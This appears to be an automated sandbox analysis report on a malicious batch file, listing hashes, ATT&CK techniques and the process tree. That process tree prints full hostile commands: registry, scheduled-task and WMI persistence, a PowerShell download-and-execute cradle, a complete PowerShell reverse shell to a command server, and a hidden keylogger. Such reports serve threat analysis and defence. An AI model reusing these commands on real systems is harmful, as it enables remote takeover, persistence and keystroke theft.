34bfccba796c6a68b36e890ae14f6544f431f66c2d0f42df8860dc90b5d8b54a

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:11

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General

Target
rat_build_80491_014250.bat
Size 4KB
Sample260529-13wl4abs2k
SHA256 34bfccba796c6a68b36e890ae14f6544f431f66c2d0f42df8860dc90b5d8b54a
MD5 703eb93bd811478e24fefab2ce6ce212
SHA1 e3921b4eb34aea459393808376da67d91b8a859a
SHA512 7a53887af75785799993d604b8963ce691ac8fbbb327129b80a265b3a537095c8a3558272f1300068cf00dbb4216383930f786b54fbadbd629a8f8842faedfe7
SSDEEP 96:OIifrW3KOGxEsjGy/PRlQ1JtSFEDURCTL1wUeGHos27wgfLoK+CiFgZk8mvlo18k:OZC3KOpeGiE1JdL1L/27wwJdiFgkHl/k
TLSH
T173A10A17878B6118C974251CDD32389857FCCAF71344CA8EFB4A9CC52A4CE8799299E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_80491.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3448	powershell.exe
4500	powershell.exe
4444	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_80491 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_80491.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
816	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3436	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3284	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4608	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3448	powershell.exe
3448	powershell.exe
3448	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4444	powershell.exe
4444	powershell.exe
4444	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	816	WMIC.exe
Token: SeSecurityPrivilege	816	WMIC.exe
Token: SeTakeOwnershipPrivilege	816	WMIC.exe
Token: SeLoadDriverPrivilege	816	WMIC.exe
Token: SeSystemProfilePrivilege	816	WMIC.exe
Token: SeSystemtimePrivilege	816	WMIC.exe
Token: SeProfSingleProcessPrivilege	816	WMIC.exe
Token: SeIncBasePriorityPrivilege	816	WMIC.exe
Token: SeCreatePagefilePrivilege	816	WMIC.exe
Token: SeBackupPrivilege	816	WMIC.exe
Token: SeRestorePrivilege	816	WMIC.exe
Token: SeShutdownPrivilege	816	WMIC.exe
Token: SeDebugPrivilege	816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	816	WMIC.exe
Token: SeRemoteShutdownPrivilege	816	WMIC.exe
Token: SeUndockPrivilege	816	WMIC.exe
Token: SeManageVolumePrivilege	816	WMIC.exe
Token: 33	816	WMIC.exe
Token: 34	816	WMIC.exe
Token: 35	816	WMIC.exe
Token: 36	816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	816	WMIC.exe
Token: SeSecurityPrivilege	816	WMIC.exe
Token: SeTakeOwnershipPrivilege	816	WMIC.exe
Token: SeLoadDriverPrivilege	816	WMIC.exe
Token: SeSystemProfilePrivilege	816	WMIC.exe
Token: SeSystemtimePrivilege	816	WMIC.exe
Token: SeProfSingleProcessPrivilege	816	WMIC.exe
Token: SeIncBasePriorityPrivilege	816	WMIC.exe
Token: SeCreatePagefilePrivilege	816	WMIC.exe
Token: SeBackupPrivilege	816	WMIC.exe
Token: SeRestorePrivilege	816	WMIC.exe
Token: SeShutdownPrivilege	816	WMIC.exe
Token: SeDebugPrivilege	816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	816	WMIC.exe
Token: SeRemoteShutdownPrivilege	816	WMIC.exe
Token: SeUndockPrivilege	816	WMIC.exe
Token: SeManageVolumePrivilege	816	WMIC.exe
Token: 33	816	WMIC.exe
Token: 34	816	WMIC.exe
Token: 35	816	WMIC.exe
Token: 36	816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2968	WMIC.exe
Token: SeSecurityPrivilege	2968	WMIC.exe
Token: SeTakeOwnershipPrivilege	2968	WMIC.exe
Token: SeLoadDriverPrivilege	2968	WMIC.exe
Token: SeSystemProfilePrivilege	2968	WMIC.exe
Token: SeSystemtimePrivilege	2968	WMIC.exe
Token: SeProfSingleProcessPrivilege	2968	WMIC.exe
Token: SeIncBasePriorityPrivilege	2968	WMIC.exe
Token: SeCreatePagefilePrivilege	2968	WMIC.exe
Token: SeBackupPrivilege	2968	WMIC.exe
Token: SeRestorePrivilege	2968	WMIC.exe
Token: SeShutdownPrivilege	2968	WMIC.exe
Token: SeDebugPrivilege	2968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2968	WMIC.exe
Token: SeRemoteShutdownPrivilege	2968	WMIC.exe
Token: SeUndockPrivilege	2968	WMIC.exe
Token: SeManageVolumePrivilege	2968	WMIC.exe
Token: 33	2968	WMIC.exe
Token: 34	2968	WMIC.exe
Token: 35	2968	WMIC.exe
Token: 36	2968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2968	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 4608	4108	cmd.exe	86
PID 4108 wrote to memory of 3284	4108	cmd.exe	87
PID 4108 wrote to memory of 816	4108	cmd.exe	88
PID 4108 wrote to memory of 2968	4108	cmd.exe	89
PID 4108 wrote to memory of 1068	4108	cmd.exe	90
PID 4108 wrote to memory of 3436	4108	cmd.exe	109
PID 4108 wrote to memory of 816	4108	cmd.exe	113
PID 4108 wrote to memory of 3448	4108	cmd.exe	114
PID 4108 wrote to memory of 4500	4108	cmd.exe	116
PID 4108 wrote to memory of 4444	4108	cmd.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_80491_014250.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_80491" /tr "C:\Users\Admin\AppData\Local\Temp\_80491.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4608
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_80491" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_80491.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3284
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_80491", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:816
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_80491", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_80491.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2968
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_80491.txt
  2⤵
  PID:1068
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3436
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_80491.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85a650f72d8f67b8ae1a49bc52c22abb9e60594568295cacaa95abcf93c4d95a
MD5 02e6f965baf12c8af417f5662fccb7e9
SHA1 e74209942a40376c65513f12d387b8acdb79013a
SHA512 bb4192c8fcc0a88ed63ea3230e58572a5d6a44a700a2bad1dbd2407f44a85203b31a44f1fae01d69927b0a12fd1ec292faf46fe0500e2f39319f12f326bda959
TLSH
T1E0117627F39CC921CC96153A509DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fb69d49df0ddc0811a4975aed78866bf357bd7d9c56bd82d3bb887661865cf8a
MD5 81fb19541c95ae4afbf9bec09a2bf9ee
SHA1 4f8e861bba98d25001873e3b27627166b26a6823
SHA512 2c29cf4a9fc25f872dde321fa6d1303881c407f9b59353b6b4751c35c3b884ac46bda238198c05e89c6ae96fe4f439ba4339bd106f101df3d93aa70a237257bc
TLSH
T189115727B39C89A1CC96163A409D9C1172B687D7409EDEDF6BC0D214A17F584CB611A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_r31xqozd.tcp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r31xqozd.tcp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3448-8-0x000002BC7BC50000-0x000002BC7BC72000-memory.dmp

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